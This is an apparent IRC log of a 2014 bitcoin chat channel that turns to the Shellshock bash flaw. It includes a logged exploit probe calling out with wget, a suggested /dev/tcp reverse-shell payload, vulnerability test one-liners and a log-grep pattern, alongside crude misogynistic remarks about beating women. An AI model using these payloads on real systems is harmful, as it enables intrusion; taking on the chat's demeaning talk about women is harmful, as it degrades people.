12:19 assbot [HAVELOCK] [AM1] 5 @ 0.14499998 = 0.725 BTC [+] {2}
~ 23 minutes ~
12:43 assbot [MPEX] [S.MPOE] 7150 @ 0.00075473 = 5.3963 BTC [+]
12:46 mircea_popescu ;;ticker
12:46 gribble Bitstamp BTCUSD ticker | Best bid: 410.94, Best ask: 411.39, Bid-ask spread: 0.45000, Last trade: 411.4, 24 hour volume: 15061.17519887, 24 hour low: 400.0, 24 hour high: 433.0, 24 hour vwap: 415.60067359
12:47 nubbins` "but paypal" etc
12:49 ThickAsThieves give it a couple weeks
12:49 mats_cd03 i am rooting for 200 before xmas
12:49 mircea_popescu 200 srsly ?
12:49 ThickAsThieves not happening
12:49 assbot Last 3 lines bashed and pending review. ( http://dpaste.com/2VJQA3H.txt )
12:49 nubbins` !b 3
12:49 mircea_popescu if you're going there why not root for fiddy cent sdirectly.
12:49 nubbins` for future reference
12:50 mats_cd03 that works for me too
12:50 nubbins` where in the fuck did i put my soldering iron? srsly.
12:50 mircea_popescu up someone's butt ?
12:50 nubbins` nah i quit gov't work long ago
12:50 mircea_popescu well you did say "in the fuck"...
12:50 nubbins` be creative!
12:50 ThickAsThieves lol
12:51 assbot Last 2 lines bashed and pending review. ( http://dpaste.com/24RQTKK.txt )
12:51 mircea_popescu !b 2
12:51 mircea_popescu now THAT
12:51 mircea_popescu 'll make you look bad tat :D
12:51 nubbins` gotta be quick if you wanna !b
12:51 ThickAsThieves the jig is up
12:51 nubbins` gotta !b quick
12:52 mircea_popescu you know that's what the tits command should be. !jig
12:54 ben_vulpes urethrathermal cryptanalysis
12:54 mircea_popescu jurov: emphasis theirs. dis gon b gud. <<< in that particular way...
12:54 ThickAsThieves do we even haz tits anymoar?
12:54 ThickAsThieves what was the command?
12:54 ben_vulpes ThickAsThieves: jezz is around, and ozbot responds in pm, but it's not in chan.
12:54 Duffer1 .bait
12:54 ben_vulpes !bait
12:54 ThickAsThieves ah
12:54 ben_vulpes ah yeah
12:54 ThickAsThieves .bait
12:55 Duffer1 assbot hates our freedom
12:55 mircea_popescu kakobrekla: o look, 1.271 << totally picked the wrong time to close down teh fund
12:55 ThickAsThieves short everything
12:55 mircea_popescu #bate
12:56 mircea_popescu kakobrekla: barely over retard. <<< nah you're just too young to have a clear memory of the 90s :D
12:57 ThickAsThieves interesting that throw this downturn, NMC has actually been the least affected
12:57 ThickAsThieves through*
12:57 ThickAsThieves nmc/btc i mean
12:58 mircea_popescu ThickAsThieves: like i couldnt recognize my own sig... << the hand signature thing in the us is nuts by now.
12:58 ThickAsThieves i was thinkin, why didnt they just scan forge it, cmon now
12:58 asciilifeform mircea_popescu: http://www.itnews.com.au/News/396180,amazon-forced-to-reboot-ec2-to-patch-xen-bug.aspx << possibly relevant to your latest item
12:58 assbot Amazon forced to reboot EC2 to patch Xen bug - Storage - News - iTnews.com.au
12:58 mircea_popescu mats_cd03: but every contractor in the world is a miserable, lying thief. << because you pay upfront.
12:59 asciilifeform likely, some bozo found (and used) a xen 'vm escape.'
12:59 mircea_popescu i only pay on reception, and if acceptable. never had anything but the loveliest most serviceable contractors.
12:59 mircea_popescu and if you can't find people who work like that, you're not in a good country to do business, quit the bezzlathron and move.
12:59 ben_vulpes ThickAsThieves: doge is up
12:59 ThickAsThieves to no good
12:59 mircea_popescu lol
12:59 ben_vulpes hue
13:00 mats_cd03 i can't afford to flee. i have yet to bump four digit vidya game coins.
13:00 assbot [HAVELOCK] [B.MINE] [PAID] 1.27252613 BTC to 15`097 shares, 8429 satoshi per share
13:00 ThickAsThieves you need 1000btc to move now?
13:00 asciilifeform yes.
13:00 ThickAsThieves oh you mean $1000btc
13:00 asciilifeform both.
13:01 * asciilifeform speaks for self
13:01 ThickAsThieves ascii theyll never let you leave
13:02 mats_cd03 yes for the first, no for the second. 1000btc is my goalpost.
13:02 ThickAsThieves russian cryptographer caught fleeing country
13:02 asciilifeform ThickAsThieves: at present, the door opens when i open it. just end up having to go back inside to eat.
13:02 mircea_popescu mats_cd03 owning like 1% of 1% of the world's currency ain't the worst fate.
13:03 ThickAsThieves particularly when you consider how few will ever hold that many
13:04 mircea_popescu ThickAsThieves: it's not a real man, it's face morph of all the men in their target audience <<< this. it's probably the real point of facebook.
13:04 mircea_popescu "pay us money, you get a facemorph of all the people in your demo."
13:06 ThickAsThieves currently about 1500 wallets with 1000+btc
13:06 ThickAsThieves so maybe another 500 that split theirs up
13:06 ThickAsThieves at most
13:07 ThickAsThieves or -500 for multiple wallets being the same owner
13:09 mats_cd03 my principle concern is getting to 1000btc. i don't know if it can be done, at the current rate of career progression... i need a better job.
13:10 ThickAsThieves yeah i think this year's lows may never be seen again
13:10 asciilifeform ThickAsThieves: they'll easily be seen again when another wretch, like dpr, is captured and sat upon an anthill until he coughs up private key
13:11 asciilifeform and then buterin's waterfall, again.
13:11 ThickAsThieves cept the floor keeps rising
13:11 mike_c perhaps not. we didn't see double digits (yet) this year
13:16 ThickAsThieves maybe if mp loses La Guerra Serenísima, or Satoshi needs some cash
13:16 mircea_popescu asciilifeform this time they won't say.
13:16 mircea_popescu they didn't understand there's a mp. it hurt. won't repeat mistakes next time.
13:18 * asciilifeform still doesn't grasp why 'they said' last time.
13:18 mircea_popescu idiots in charge.
13:19 mircea_popescu anyone thinks they can do anything. all vanity, no humility, as if the latter's the sin and the former the virtue.
13:20 ThickAsThieves tis bliss
13:22 ThickAsThieves so bfl raid was real
13:22 nubbins` so apparently they found a backdoor in the shellshock patch on github, hey?
13:22 nubbins` lel jk
13:22 mircea_popescu llol?
13:23 ThickAsThieves every good backdoor has a backdoor
13:23 asciilifeform called 'front door'
13:23 ThickAsThieves funny they never call it that in sexual context
13:24 nubbins` front-bum
13:24 nubbins` back that front-bum up, etc
13:26 chetty http://www.telegraph.co.uk/news/worldnews/southamerica/argentina/11121984/Argentina-uses-drones-to-root-out-wealthy-tax-evaders.html
13:26 assbot Argentina uses drones to root out wealthy tax evaders - Telegraph
13:26 ThickAsThieves top door
13:30 mircea_popescu argentina has taxes ?!
13:31 kakobrekla also chump-choppas
13:31 mircea_popescu either someone on the ground here pulled a practical joke at the "media" expense, or else us folk running off to argentina is becoming a problem for the minitruth
13:35 rithm http://blog.cogcoop.com/post/98395904605/love-will-inc-and-bitpay-at-georgia-tech
13:35 assbot Gear Love Will Inc. and BitPay at Georgia Tech
13:36 rithm The Love Will team presented students with information about Bitcoin transactions, mobile hot wallets, and rolled out their new ‘Jacket Wallet’, a customized Pheeva hot wallet, specifically for Georgia Tech students and faculty, available on android and in the app store soon. The team plans to create this type of customized wallet at every university that begins to accept Bitcoin on campus.
13:36 mircea_popescu heh
13:36 rithm i've been thinking bitpay's bowl gam sponsorship was a play to get bitcoin in ncaaa stadiums
13:36 rithm now you got alumni doing the mit thing
13:37 rithm the bitcoin society is most likely fraternal too if I had to bet
13:38 rithm some type of judeo christian ritual involved
13:38 rithm but now i sound like atlas
13:40 ThickAsThieves ;;estimate
13:40 gribble Next difficulty estimate | 34531182382.2 based on data since last change | 33722683398.9 based on data for last three days
13:44 bounce waiting for the wealthy to hit back with an automated drone catcher to shoot the things out of the air
13:44 kakobrekla https://i.chzbgr.com/maxW500/8328379648/h92418905/
13:46 asciilifeform argentina drones, unregistered real estate << and none of this happened with ordinary piloted airplanes ?
13:47 asciilifeform it is really a unique sort of retardation when people pretend like airplane was just invented now.
13:49 kakobrekla mebbe its more fear of machines than taxes
13:49 kakobrekla but combine the both and you get a selling sensation
13:50 bounce of course they /could/ have done all that with ordinary planes, except rules. there's no rules for this yet, so some enterprising clerk or other can just order renting such a thing out of the petty cash.
13:51 chetty you need an airplane to discover a house?
13:53 bounce dunno. if it's large enough plots with lots of trees, maybe.
13:56 kakobrekla prolly cheaper and perhaps safer?
13:56 kakobrekla crashing plane vs crashing drone
13:57 Naphex woot, so bash env backdoor, who would've tought :o
13:57 Naphex people running CGI must be blowing their minds right now
13:59 jurov ;;titlasers should be a thing
13:59 gribble Error: "titlasers" is not a valid command.
13:59 nubbins` WELL IT SHOULD BE
13:59 asciilifeform ;;later tell ben_vulpes puzzle, because am n00b: http://imgur.com/a/JggcG << why does parting tool produce a spiral finish? and what determines the geometry of the spiral?
13:59 assbot Why? - Imgur
13:59 gribble The operation succeeded.
14:01 nubbins` the bigger question is why you airbrushed your fingertips
14:02 asciilifeform wanted to see if anyone would notice.
14:02 nubbins` "those tippies are unusually smooth", i said to myself
14:02 asciilifeform (fingers were already published, for anyone who needs my fingertips to unlock a nuke or whatever)
14:05 Naphex !s inurl:cgi-bin
14:05 assbot 0 results for 'inurl:cgi-bin' : http://search.bitcoin-assets.com/?q=inurl%3Acgi-bin
14:12 mike_c inurl is optimistic.
14:12 mike_c !s cgi-bin
14:12 assbot 11 results for 'cgi-bin' : http://search.bitcoin-assets.com/?q=cgi-bin
14:12 mike_c sweet, paypal!
14:13 Naphex lots of .govs love it too
14:13 Naphex they're quick to update
14:14 Naphex inurl:cgi-bin env.pl - assume direct control
14:16 mircea_popescu o look who's here
14:16 mircea_popescu who's life Naphex
14:16 Naphex i'm always here :P
14:17 Naphex fine, pretty boring actually
14:18 Naphex people be pentesting [25/Sep/2014:21:02:23 +0300] "GET http://www.btcxchange.ro/cgi-sys/defaultwebpage.cgi HTTP/1.0" 200 17528 "() { :;}; /usr/bin/wget http://shellshock.brandonpotter.com/report/HM05TTIHKJF2TA5QQGKEPR/Referer" "() { :;}; /usr/bin/wget http://shellshock.brandonpotter.com/report/HM05TTIHKJF2TA5QQGKEPR/User-Agent"
14:18 assbot Whoops! Somebody divided by zero... | btcXchange.ro - Bitcoin Exchange Platform with 0% transaction fees
14:19 Naphex what a stupid payload to even ping back
14:19 Naphex could've just used a reverse echo "code" >& /dev/tcp/8.8.8.8/8080 0>&1
14:19 Naphex instead of wget
14:20 asciilifeform so when do we learn the name of the malicious-c-contest artist who gave us 'shellshock' ?
14:21 asciilifeform (and yes - we know author of 'heartbleed.' and he's alive and well and still contributing code to public projects, afaik. why? don't ask me)
14:21 mircea_popescu "Username/password combinations don’t cut it anymore, and Two-Factor authentication is a great way to help secure user accounts. If you have an account with a system that supports it, you should be using it."
14:21 mircea_popescu from brandon potter's expertise den
14:22 jurov https://www.mozilla.org/security/announce/2014/mfsa2014-73.html bad news come in pairs
14:22 assbot MFSA 2014-73: RSA Signature Forgery in NSS
14:22 mircea_popescu in unrelated news : i've added an email filter rule to drop anything with "bounce" in the headers. best rule ever.
14:23 mircea_popescu jesus.
14:24 mircea_popescu jurov PKI was unusable for reason of insecurity anway
14:25 mircea_popescu ThickAsThieves: they wanna jedi mind trick the fappening and NSA etc << there's probably a feminst and an environmentalist somewhere in the us that actually will buy into it.
14:25 mircea_popescu and they'll probably meet, and have a child.
14:25 mircea_popescu and it'll have a funny little moustache.
14:26 asciilifeform feminist environmentalist dies of contradiction - hormonal pills, pissed out into the ground water, destroying rare fish - etc.
14:28 jurov http://bitstash.com/ such gems i keep finding today. hardened bluetooth!!1
14:28 assbot BitStash
14:28 mircea_popescu bounce: VERY DANGEROUS UBERHACKERS << ever see a woman with a little girl trying to cook while the little girl stirred some random items in a smaller pot immitating her ?
14:29 mircea_popescu this is exactly what's going on. kids are wired to monkey, so they monkey.
14:29 asciilifeform jurov: mega-lol! great find.
14:29 mircea_popescu asciilifeform the guy is a 65 lb environmentalist vegan artist with a lot of etsy success, on lesswrong and patronize or w/e that donation site is.
14:29 asciilifeform which guy
14:30 mircea_popescu the feminist is a 650 lb mountain dew and icecream behemoth with a very popular twitter profile, and a lot of lj experience.
14:30 asciilifeform aha
14:30 mircea_popescu after he rolls her around in flour to see where it sticks they have long soulfull talk
14:30 asciilifeform jurov: am i the only one who instantly thought 'dust bin' ?
14:30 mircea_popescu and decide that condoms are bad for africa and pills bad for the environment
14:30 mircea_popescu since they can't find a sponge that comfortably fits a calender
14:31 mircea_popescu they end up having kids.
14:31 jurov asciilifeform: me too. but that's the usg-approved look
14:32 asciilifeform i finally realized - they cribbed the 'dust bin' from -- apple.
14:32 asciilifeform (who, of late, have actually been selling a computer in that shape.)
14:34 mircea_popescu who's dekker3d
14:34 mircea_popescu ;;seen Dekker3D
14:34 gribble Dekker3D was last seen in #bitcoin-assets 11 weeks, 4 days, 0 hours, 40 minutes, and 47 seconds ago: <Dekker3D> I remember someone who used this.
14:35 mircea_popescu weird.
14:39 mircea_popescu mats_cd03: language drifts news at 11 << language drifting so as to serve the interests and needs of the upper class is fine.
14:39 mircea_popescu this bullshit where the lower classes are pushing the language out of shape because they're filthy and stupid can not be tolerated.
14:39 mircea_popescu not all language change is created equal.
14:41 mircea_popescu chetty: does security exist in nature? << yes, actually. entropy securely flows one way, and god help you if you mess with mass conservation.
14:42 mircea_popescu mike_c: meet behind the school at noon << yo!
14:42 mike_c seemed to be heading that direction :)
14:42 mircea_popescu mike_c
14:42 mircea_popescu oops
14:43 asciilifeform http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3505#p23987 << mega-lol
14:43 assbot KernelMode.info • View topic - Linux/Bash0day alias Shellshock alias Bashdoor
14:44 mircea_popescu bounce: now it would help if we can properly articulate what ails us. but we can't, because the terminology has been deliberately confused and watered down and broadened and stretched (by the industry) so as to spread FUD more effectively << you are very naive to imagine the terminology has anything to do with it. point in case : if in a room with a woman that wants to fuck me, i don't need to speak her language. point
14:44 mircea_popescu ing even may be an excessive requirement. if on the other hand in a room with a woman that doesn't want to, you can be e a poe for all the good it'll do you.
14:45 mircea_popescu this is exactly the case in here. to imagine one can somehow magically learn "the language" without a) passing the requisite tests and b) interiorising the culture that spawned that language is naive. and if a and b is satisfgied, the form of language is really moot anyway.
14:45 mircea_popescu the variety speak is not the words, it's the variety.
14:47 mircea_popescu which is why you can have good programmers that speak english, russian or whatever else natively, as well as c or lisp or whatever else ; but you can't make someone a good programmer by teaching him to say i++;
14:47 mircea_popescu people figured it'd work maybe if you not teach him to say goto 10
14:47 mircea_popescu but really, that's just as much nonsense.
14:48 wywialm mircea_popescu, that sounds very much like Wittgenstein - correct me if i'm wrong
14:49 mircea_popescu it'd better, inasmuch wittgenstein was right :)
14:50 mircea_popescu for that matter, it's a direct pastiche of knight, “You cannot fix a machine by just power-cycling it with no understanding of what is going wrong.”
14:51 wywialm I recall something close stated in Investigations, in the flavour of "the meaning is use"
14:52 mircea_popescu wywialm no, you're right, it's just... it's a fundamental idea that saw much expression.
14:52 mircea_popescu "map is not the territory", "stat rosa pristina nomine, nomina nuda tenemus", pick your poison.
14:53 wywialm Oh, yeah. In this we certainly agree
14:54 kuzetsa Naphex, asciilifeform: yeah... I've had to stop neglecting a production server and finally run updates today because of shellshock :(
14:57 mircea_popescu jurov: is anyone willing to pay "we have read the code for you" kind of security? <<< yes. but it's like the case with drinking water : people ARE wiling to pay for drinking water ; people are not willing to pay to have a dam constructed.
14:57 mircea_popescu so if your per line price can be few enough satoshi, this is a valid business model.
14:59 asciilifeform obligatory:
14:59 asciilifeform http://underhanded.xcott.com
14:59 assbot The Underhanded C Contest
14:59 Naphex kuzetsa: you should check logs, make sure you're not owned
14:59 Naphex grep for "() {"
14:59 asciilifeform mircea_popescu: code auditing without a serious 'poison pill contract' turns into 'elephant repellant.'
14:59 mircea_popescu jurov: redhat would be in a position to do it << redhat is a usg subcontractor. this is like saying goldman sachs is in a position to break the aml/kyc bullshit ring.
15:00 mircea_popescu no, they aren't ; if they were it'd be suicidal.
15:00 mircea_popescu asciilifeform the wot is the poison pill.
15:00 mircea_popescu consider the culture shock a certain justin o'connell endured at my hands : http://trilema.com/2014/so-the-dollar-vigilante-scam-ring-is-going-to-jail/#comment-108121
15:00 assbot So the Dollar Vigilante scam ring is going to jail. pe Trilema - Un blog de Mircea Popescu.
15:00 mircea_popescu he lives in a world where being a scummy fuckwit is okay, because everyone is a scummy fuckwit.
15:00 mircea_popescu the wot cuts right through that.
15:01 mircea_popescu all the current fucktards calling themselves "developers" would find themselves in the positon of taaki, maxwell et co stat, once someone started leveraging that model aginst their scummy, indolent, ignorant idiocy.
15:02 mircea_popescu once the "you have one chance, don't fuck it up" model gets implemented universally, we'll have a wholesale return to the pleasant mores of the society constructed on enforcing the same principle upone women only.
15:02 asciilifeform security by auditing extant mega-turds is rather like muscle-powered airplane
15:02 mircea_popescu except, twice as much, plus all the other benefits of not having to deal with the insane arbitrariety of only doing it to half the population
15:02 asciilifeform yes, they exist. yes, olympic athletes have lifted two metres high for two minutes.
15:03 mircea_popescu asciilifeform all flight started with the galley slave.
15:03 mircea_popescu the reason airbus is a thing is because the romans forced men to push oars.
15:03 mircea_popescu 2k years ago
15:03 asciilifeform yes - but where are the oars on 'airbus' ?
15:03 mircea_popescu same place your elithrae are.
15:03 mircea_popescu just because they meanwhile fell off doesn't mean you didn't need them to get here.
15:05 asciilifeform mircea_popescu: the basic problem is that anyone who tells you that he can do this job - is a liar, right off the bat
15:05 mircea_popescu i don't think you properly understand grinding.
15:05 asciilifeform so you end up with a sub-wot for this that's 100 percent scammer by weight.
15:05 mircea_popescu in order for the job to be done, nobody needs to do it.
15:05 asciilifeform nothing to distill.
15:06 mircea_popescu which stone in the roller made the quartz round ?
15:06 mircea_popescu you don't need round stones to produce round stones. you just need a rotative process.
15:06 asciilifeform which stone in the roller << this is the basic premise behind 'many eyes' theory, - and we know it is empirically false.
15:06 mircea_popescu it's only empirically false because it's so easy to lie.
15:06 mircea_popescu sign where you read. no longer false.
15:07 mircea_popescu let's model this. people with young children go camping. 20 adults, 10 children. case 1, "people generally" look after the kids.
15:07 mircea_popescu they come home with eight in the best case.
15:08 mircea_popescu case 2, every hour of the day one adult is in charge of watching the kids. if anything happens he's in for murder.
15:08 mircea_popescu unless a meteor falls, they're coming home with 10 kids.
15:09 mircea_popescu there's no such thing as "the army is generally watching the surroundings". no dude, sentinels, since 2000 years ago and never with an exception since.
15:09 mircea_popescu in fact, it's the sentinels that distinguish army from band of drunken revelers.
15:09 asciilifeform mircea_popescu: different gedankenexperiment. take redditgurlz, say a dozen. lock them in a dungeon, no food until invent hydrogenbomb.
15:09 asciilifeform do you get bomb ?
15:09 mircea_popescu i will, yes.
15:09 mircea_popescu as long as you let me beat them selectively i'll have my bomb, and some adoring princesses to follow me around to boot.
15:10 asciilifeform russian saying 'you can't mold a bullet from shit' isn't strictly true - you could, had you sufficient energy, convert the shit into diamond and have bullet
15:10 mircea_popescu quite
15:10 mircea_popescu besides. there's iron in the heme that the shit is mostly comprised of.
15:10 asciilifeform but if engineer tells you this, you will kick him.
15:11 mircea_popescu depends of the context.
15:11 asciilifeform context of 'i need a box of bullets'
15:11 mircea_popescu the goal is not the context.
15:11 mircea_popescu if he says this sitting right next to a lathe i'm going to smack his head on the lathe.
15:11 mircea_popescu if in a worldwide septic tank, we're going for it.
15:11 mircea_popescu you, in fact, are currently and have been for a year, molding a bullet.
15:11 mircea_popescu out of...
15:12 asciilifeform piss.
15:12 asciilifeform not easy.
15:12 mircea_popescu whether to make the piss freeze or to try and electrolytically separate iron from shit is an exercise left for the engineer.
15:12 asciilifeform notice that the analogy is closer than one might like
15:13 asciilifeform to create the bullet from shit-diamond, it is necessary to remove most of the extraneous matter.
15:13 kuzetsa [14:59:14] <+Naphex> kuzetsa: you should check logs, make sure you're not owned << logs of what?
15:13 asciilifeform conceivably, most of the mass present.
15:13 mircea_popescu asciilifeform selective beating is selective beating. people adapt, young people especially so, women most of all.
15:13 mircea_popescu kuzetsa the server in question ?
15:14 mike_c these methods (beating, wot, etc) could be applied to new software
15:14 mike_c if i wrote a new btc wallet (or managed development thereof), it would be secure for fear of above methods
15:14 kuzetsa mircea_popescu: but... I don't have any cgi on the httpd, nor are any of the other daemons the sort which use environment variables to pass stuff around (using bash or otherwise)
15:14 mike_c but to audit existing btc wallet? forget it.
15:14 mircea_popescu mike_c notice how little beating is actually needed, among civilised adults that interiorise the wot model.
15:14 Naphex apache still passes stuff through env by default
15:14 mircea_popescu kuzetsa reading logs never killed anyone.
15:15 Naphex but it should be no problem unless thet env hits apache
15:15 kuzetsa Naphex: I don't use apache
15:15 mircea_popescu if the process of figuring out what is safe worked, we wouldn't have the bug in the first place.
15:15 Naphex nginx / php fpm/ fast cgi all pass env as well
15:15 asciilifeform also it is possible that i used a bad example. man has indeed invented hydrogen bomb. but securing 50 years of turdolade by 'fixing mistakes' is more akin to jumping 1km. no athlete has jumped 1km, and beatings will not create one.
15:15 Naphex and if that env hits bash it runs
15:15 mircea_popescu asciilifeform point is not to fix anything.
15:16 Naphex kuzetsa: mail servers will pass through env as well, on the pipeline while filtering them mails
15:16 mircea_popescu we're not here for a goal, we're here because a cause. major fucking difference.
15:16 Naphex so any mail filters, spam filters
15:16 mircea_popescu Naphex also some ssl/ssh/etc
15:17 kuzetsa Naphex: I don't have any mail daemon on that particular system either
15:17 mike_c what? how is env getting set if no cgi/bash shit?
15:17 Naphex mircea_popescu: yeah but that doesn't hit sh until successful login
15:17 mircea_popescu still.
15:17 Naphex mike_c: env is general POSIX
15:17 Naphex all apps use it
15:17 rithm my spam filter is roll-your-own
15:17 asciilifeform until the entire machine stack (chemical, electronic, os, etc) fits in a human mind - doesn't have to be that of alcoholic bum off the street, could be six people alive - then you have a system a reasonable man will sign his life under.
15:17 Naphex and pass it around, if corrupted env hits bash it runs and the end
15:17 mike_c yes, but i thought shocky thingy required cgi/bash to chane env
15:18 rithm my testing alligns with what Naphex just said about authentication
15:18 Naphex mike_c: no, you can change env regardless, its just that if bash interpets the env it runs
15:18 mike_c shit, i gotta read more.
15:18 mircea_popescu asciilifeform this is where you're wrong. because consider, what is your definition of "human mind" ? could you in fact have two human minds that are identically the same one mind for this purpose ? turns out you can, it's the most important field of research of the vory.
15:18 asciilifeform one can chop heads if job is not done, but if it isn't doable given the available constraints - you just end with a tall pile of heads
15:18 mircea_popescu how is it done ? why, by not acting towards a goal, but from a cause.
15:19 kuzetsa mike_c: I'm certain that the public-internet-facing daemons on the system in question don't pass stuff around using environment variables
15:19 asciilifeform well sure - ultimately all organization is based on this
15:19 mircea_popescu quite.
15:19 Naphex rithm: even if you're spam filter is roll your own, if SUBJECT gets passed in Env along the pipeline, and if on the pipeline something hits /bin/sh / /bin/bash it will run
15:19 Naphex just patch it, and killall -TERM sh/ bash and you're set
15:19 mike_c kuzetsa: ok, thanks
15:19 asciilifeform but the analogy falls apart here. what we have, in organization, is cray's 1024 chickens.
15:20 kuzetsa Naphex: yeah, I decided to compile a new kernel anyway so I rebooted after making sure bash was patched :)
15:20 mircea_popescu ThickAsThieves: i often think about that, how the hell can someone who cannot/willnot read code, ever be the steward of a software project safely? <<< you know i don't actually read all that much code at all. i guess i could, more or less, but i wouldn't trust myself to understand it. by which i don't mean "what it does", but i do mean "what we can absolutely say about this program"
15:20 mircea_popescu Naphex wasn't the patch bad ?
15:20 asciilifeform unless you can actually build 'borg' that share a mind, rather than just army or clan, the organization cannot understand mechanisms too large for the cleverest member to understand. for any useful value of 'understand.'
15:20 asciilifeform this is the fundamental reason why 'software sucks'
15:20 mircea_popescu asciilifeform mechanisms are simple.
15:20 kuzetsa mircea_popescu: there's 2 different patches
15:21 mike_c old news? asciilifeform: Stephane Chazelas is author.
15:21 mircea_popescu that is the thing. they only seem complex to the lazy and to the stupidly vain. but otherwise, the mechanisms are damned simple.
15:21 mircea_popescu kuzetsa a yea nm.
15:21 Naphex mircea_popescu: gentoo has good patch out
15:21 asciilifeform low intrinsic complexity - yes. encrusted with 'accidental complexity - also yes.
15:21 mircea_popescu bounce: plenty money hiring people to do the reading and lots of lawyers to paper over the obvious problems with threats of large fines << alternatively skip the lawyers thing and hurt people that fuck up.
15:22 Naphex 201409-10 [U] Bash: Code Injection (Updated fix for GLSA 201409-09) ( app-shells/bash )
15:22 mircea_popescu rather than dedicating yourself to being friends with idiots, dedicate yourself to being enemitous to idiots.
15:22 kuzetsa the initial "fix" was for a parsing flaw described in CVE-2014-6271 (shellshock) which a lot of distros patched but then didn't get CVE-2014-7169 as well (a different type of issue with bash)
15:22 xmj lovely
15:23 xmj kuzetsa: freebsd patched 6271 yesterday 17:04 UTC and 7169 today 15:38 UTC
15:23 rithm just wait until drive-by downloads start exploiting dd-wrt or something
15:23 rithm then it'll get fun
15:23 kuzetsa yeah, I have 7169 patched
15:23 mircea_popescu ;;google debian 7169 patch
15:23 gribble CVE-2014-7169: Bash Fix Incomplete, Still Exploitable | Hacker News: <https://news.ycombinator.com/item?id=8365158>; What is the CVE-2014-6271 bash vulnerability, and how do I fix it?: <http://askubuntu.com/questions/528101/what-is-the-cve-2014-6271-bash-vulnerability-and-how-do-i-fix-it>; (CVE-2014-6271) bug introduced, and what is the patch that fully: (1 more message)
15:23 mircea_popescu heh.
15:24 kuzetsa ubuntu dragged their backside too
15:25 mircea_popescu debian != ubuntu omg.
15:26 nubbins` debian = ubuntu in the sense that england = usa
15:26 mircea_popescu export badvar='() { (a)=>\';bash -c "hackerfile echo vulnerable";grep vulnerable hackerfile||echo safe << if anyone wants to test it
15:26 Naphex mircea_popescu: its a stupid check lol
15:27 rithm https://news.ycombinator.com/item?id=8367065
15:27 assbot This is being actively exploited. We (CloudFlare) put in place WAF rules to bloc... | Hacker News
15:27 asciilifeform mircea_popescu: recall how self-proclaimed (or accused...) alchemists were treated. do you mean to say that, if they were put through the right punishments, they would have discovered neutron bombardment synthesis of Au at economical price?
15:28 rithm cloudflare examples
15:28 Naphex mircea_popescu: env varname='() { :; }; echo CodeInjectionHereWorks' bash
15:28 Naphex safe check
15:28 mike_c so.. just b/c you have vulnerable bash doesn't mean you got pwned.
15:28 mircea_popescu Naphex no thaths the 6271 one
15:28 kuzetsa :)
15:28 kuzetsa mircea_popescu: I was just thinking the same thing
15:28 mike_c any good way to check if you're actually vulnerable?
15:29 mircea_popescu this is the 7169 one, where it fucks up the exporting circumventing the fix
15:29 mircea_popescu mike_c i just quoted it above
15:29 mircea_popescu i also quoted a test for 6271 yest.
15:29 mircea_popescu !s from:mircea_popescu env
15:29 assbot 4 results for 'from:mircea_popescu env' : http://search.bitcoin-assets.com/?q=from%3Amircea_popescu+env
15:29 mike_c yes, that checks if bash is vuln.
15:29 mike_c doesn't mean your box is open.
15:29 Naphex mike_c: check is simple cause bash shouldn't run anything in the env
15:30 mircea_popescu mike_c checking if your box is open is something you'll haveto do yourself.
15:30 mike_c of course. so you have vulnerable bash. doesn't mean someone can hit it through your web server. i guess i gotta construct applicable http request.
15:30 Naphex var='() { :;}; echo whatever commands you put here runs you are vulnerable' bash
15:30 rithm bash: warning: varname: ignoring function definition attempt
15:30 rithm bash: error importing function definition for `varname'
15:30 mircea_popescu mike_c it's a very large hole. odds of no pencildick managing to find it, ever... hm
15:30 rithm seeing something like that is bueno
15:32 mircea_popescu so i just got totally outcarded. i find this nice chocolatier, buy three pounds of mixed chocolates in three boxes, ask for their card, and leave.
15:32 mircea_popescu their card has nothing but their name on it, which is kinda generic. nothing else. the boxes have NOTHING. no phone. no address. no website. nothing whatsoever.
15:33 mike_c not even a keyid?
15:33 mircea_popescu not even a keyid.
15:33 mircea_popescu they have a specially printed bag
15:33 mircea_popescu which has like a picture on it and that's that.
15:34 mircea_popescu ThickAsThieves: is there a trustworthy wot-signed document of an auditor saying any version of bitcoin is safe? << the most there is is me going on the record that .6.* is probably okay.
15:35 asciilifeform also wtf means 'safe' ?
15:35 mircea_popescu TomServo: Would an audit even be useful without a specification? << perhaps, yes.
15:36 mircea_popescu doctors have been doing ok auditing the human body w/o any spec for a while now.
15:36 mircea_popescu asciilifeform ^ :D
15:36 * asciilifeform was never obsessed with 'spec' - but does think that one must arrive at what question is being answered before attempt is meaningful
15:37 asciilifeform for human body, death is the unambiguous spec
15:37 asciilifeform to test against.
15:37 mircea_popescu "what means safe" "what means healthy"
15:37 rithm fuzz the captcha!
15:37 mike_c gee, every single one of my ec2 servers is scheduled for a reboot now.
15:38 mircea_popescu mike_c: security audit is basically impossible. <<< im unconvinced.
15:38 mircea_popescu it is impossible if one allows runaway complexity for "ux" and other idiotic reasons. but then again so is any scenario of chasing two rabbits.
15:39 mircea_popescu in a security environment, security is auditable provided the comittment to security is not compromised in order to listen to some ziggler impersonator.
15:39 mircea_popescu !up myriarity
15:39 asciilifeform mircea_popescu: runaway complexity may be intrinsic in von neumann paradigm.
15:40 mircea_popescu maybe. still, a lot can be done until one runs into such walls.
15:40 mike_c my point is you can't take existing turd and audit it to security.
15:40 mike_c if you start with security in mind, then audits can be useful process during development.
15:40 mircea_popescu certainly right there.
15:41 mircea_popescu myriadgetsmehard you know you're voiced.
15:42 mircea_popescu or were.
15:42 asciilifeform and what's a 'ria' ?
15:44 mircea_popescu lobbes: and the paper wasn't even peer reviewed << in that guy's case, peers can be a misnomer :p
15:46 mircea_popescu The20YearIRCloud: the joys of people making money off of memes << nah, the hodl stuff is sa folk getting bitter butthurt at bitcoin's continued existence.
15:47 mircea_popescu Transcript for 24-09-2014, 1337 lines <<< we've done it, everyone. i hereby call the end of the #b-a party. thanks for all the lines, it's been a hoot etc!
15:51 mod6 %p
15:51 atcbot >> No data returned from CoinMiner.net << [PityThePool Hashrate]: 102.62 GH/s [iSpace Pool Hashrate]: 1.51 TH/s [P2P Hashrate]: 1.70 TH/s
~ 44 minutes ~
16:35 jurov drat. updated centos/ubuntu, still vulnerable
16:36 asciilifeform so when do we get to see a public and fleshy punishment of author ?
16:37 kakobrekla never?
16:39 kakobrekla im just approximating here.
16:40 * asciilifeform is just unendingly entertained that вредители are allowed to not only keep living, but contributing code to whatever.
16:40 kakobrekla peer review scape goat?
16:40 asciilifeform perhaps.
16:41 asciilifeform i vaguely recall that mr. hearbleed was a pedigreed вредитель though.
16:42 asciilifeform and still it was paraded as 'bug' - disembodied 'bug', that was placed there by the hand of god, or whatever
